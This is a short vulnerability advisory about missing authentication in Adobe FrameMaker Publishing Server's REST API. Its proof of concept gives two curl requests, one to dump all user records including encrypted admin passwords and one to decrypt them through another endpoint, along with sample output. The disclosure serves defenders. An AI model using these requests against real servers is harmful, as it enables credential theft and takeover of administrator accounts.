Missing Authentication for Critical Function in Adobe FrameMaker Publishing Server (FMPS)

Missing Authentication for Critical Function in Adobe FrameMaker Publishing Server (FMPS)

A vulnerability regarding missing authentication exists in Adobe FrameMaker Publishing Server (FMPS). This allows an unauthenticated remote attacker to access FMPS REST APIs. For example, the attacker can fetch user information (including encrypted password) for all FMPS users. The encrypted password can be decrypted by accessing a FMPS API. This allows the attacker to login to FMPS.

Proof of Concept

# curl 'http://:7000/v16/server/auth/'
[{"accessTokenExpires":"-1","userPermission":"ADMIN","userType":"ADMIN","userString":"NA","email":"fmpsuserAAA@enterprise.com","__schemaVersion":"16","_id":"6578e4aef9492a045082c7d7","username":"fmpsuserAAA","password":"6c2395917d6e121b3cb835c1ce9f69aaa1a9240cfab0cc0fe7df3e","user_denorm_string":"{\"_id\":\"6578e4aef9492a045082c7d7\",\"accessTokenExpires\":\"NA\",\"email\":\"fmpsuserAAA@enterprise.com\",\"password\":\"6c2395917d6e121b3cb835c1ce9f69aaa1a9240cfab0cc0fe7df3e\",\"userPermission\":\"ADMIN\",\"userString\":\"NA\",\"userType\":\"ADMIN\",\"username\":\"fmpsuserAAA\"}","__v":0,"accessToken":""}]

#curl -d 'password=6c2395917d6e121b3cb835c1ce9f69aaa1a9240cfab0cc0fe7df3e' 'http://:7000/v16/server/auth/decryptPassword'
"fmpsuserAAA" …

accesstoken admin adobe authentication critical email enterprise function missing password publishing server username